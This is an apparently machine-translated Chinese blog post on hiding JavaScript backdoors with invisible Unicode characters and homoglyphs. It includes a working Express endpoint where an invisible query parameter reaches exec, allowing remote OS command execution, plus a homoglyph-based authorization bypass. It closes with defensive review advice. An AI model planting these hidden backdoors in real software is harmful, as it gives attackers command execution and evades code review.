同形文字和不可见的Unicode字符隐藏javascript后门

同形文字和不可见的Unicode字符隐藏javascript后门

几个月前,我们在r/programminghorror subreddit上看到了一篇帖子:一位开发人员描述了识别由隐藏在 JavaScript 源代码中的不可见 Unicode 字符导致的语法错误的过程。这篇文章激发了一个想法:如果后门实际上无法被看到并因此即使通过彻底的代码审查也能逃避检测怎么办?

就在我们完成这篇博文时,剑桥大学的一个团队发表了一篇描述这种攻击的论文。然而,他们的方法与我们的完全不同——它侧重于 Unicode 双向机制 (Bidi)。我们对标题为“隐形字符攻击”和“同形文字攻击”的论文采取了不同的看法。

不用多说,这是后门。你能看出来吗?

const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) => {
    const { timeout,ㅤ} = req.query;
    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',ㅤ
    ];

    try {
        await Promise.all(checkCommands.map(cmd => 
                cmd && exec(cmd, { timeout: +timeout || 5_000 })));
        res.status(200);
        res.send('ok');
    } catch(e) {
        res.status(500);
        res.send('failed');
    }
});

app.listen(8080);

该脚本实现了一个非常简单的网络健康检查HTTP终结执行ping -c 1 google.com以及curl -s http://example.com和回报是否这些命令成功执行。可选的 HTTP 参数timeout限制命令执行时间。

后门

我们创建后门的方法是首先找到一个不可见的 Unicode 字符,它可以在 JavaScript 中被解释为标识符/变量。从 ECMAScript 2015 版开始,所有具有 Unicode 属性的 Unicode 字符ID_Start都可以在标识符中使用(具有属性的字符ID_Continue可以在初始字符之后使用)。

字符“ㅤ”(十六进制为 0x3164)称为“HANGUL FILLER”,属于 Unicode 类别“Letter, other”。由于这个字符被认为是一个字母,它具有ID_Start属性,因此可以出现在 JavaScript 变量中——完美!

接下来,要使用这个不可见字符的方式被忽视必须找到。下面通过用转义序列表示替换有问题的字符来可视化所选择的方法:

    const { timeout,\u3164} = req.query;

解构赋值用于解构从HTTP参数req.query。与所见相反,参数timeout并不是从req.query属性中解压出来的唯一参数!检索名为“ㅤ”的附加变量/HTTP 参数——如果传递名为“ㅤ”的 HTTP 参数,则将其分配给不可见变量

类似地,当checkCommands数组被构造时,这个变量被包含到数组中:

    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',\u3164
    ];

然后将数组中的每个元素、硬编码命令以及用户提供的参数传递给exec函数。该函数执行操作系统命令。攻击者要执行任意操作系统命令,他们必须将名为“ㅤ”(以 URL 编码形式)的参数传递给端点:

http://host:8080/network_health?%E3%85%A4=<any command>

这种方法无法通过语法突出显示来检测,因为根本不显示不可见字符,因此不会被 IDE/文本编辑器着色:

攻击需要 IDE/文本编辑器(和使用的字体)来正确渲染不可见字符。至少Notepad++VS Code可以正确呈现它(在 VS Code 中,不可见字符比 ASCII 字符稍宽)。该脚本的行为至少与 Node 14 中的描述相同。

同形字法

除了不可见的字符之外,还可以使用看起来eg 运算符非常相似的Unicode 字符来引入后门:

const [ ENV_PROD, ENV_DEV ] = [ 'PRODUCTION', 'DEVELOPMENT'];
/* … */
const environment = 'PRODUCTION';
/* … */
function isUserAdmin(user) {
    if(environmentǃ=ENV_PROD){
        // bypass authZ checks in DEV
        return true;
    }

    /* … */
    return false;
}

使用的“ǃ”字符不是感叹号,而是“ ALVEOLAR CLICK ”字符。因此,以下行不会将变量environment与字符串进行比较,"PRODUCTION"而是将字符串分配"PRODUCTION"给之前未定义的变量environmentǃ

    if(environmentǃ=ENV_PROD){

因此,if 语句中的表达式总是true(用节点 14 测试)。

还有许多其他与代码中使用的字符相似的字符可用于此类提议(例如“/”、“-”、“+”、“⩵”、“❨”、“⫽”、“꓿” 、“*”)。Unicode 称这些字符为“可混淆的”

要点

请注意,使用 Unicode 来隐藏易受攻击或恶意的代码并不是 一个  想法(也使用不可见字符),而 Unicode 本身就开辟了混淆代码的其他可能性。我们相信这些技巧非常巧妙,这就是我们想要分享它们的原因。

在审查来自未知或不受信任的贡献者的代码时,应牢记 Unicode。这对于开源项目尤其有趣,因为它们可能会收到来自有效匿名的开发人员的贡献。

剑桥团队提议限制 Bidi Unicode 字符。正如我们所展示的,同形文字攻击和隐形字符也可能构成威胁。根据我们的经验,非 ASCII 字符在代码中非常少见。许多开发团队选择使用英语作为主要开发语言(代码和代码中的字符串),以便进行国际合作(ASCII 涵盖了英语中使用的所有/大多数字符)。通常使用专用文件翻译成其他语言。当我们查看德语代码时,我们通常会看到非 ASCII 字符被 ASCII 字符替换(例如 ä → ae、ß → ss)。因此,禁止任何非 ASCII 字符可能是个好主意。

from

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用*标注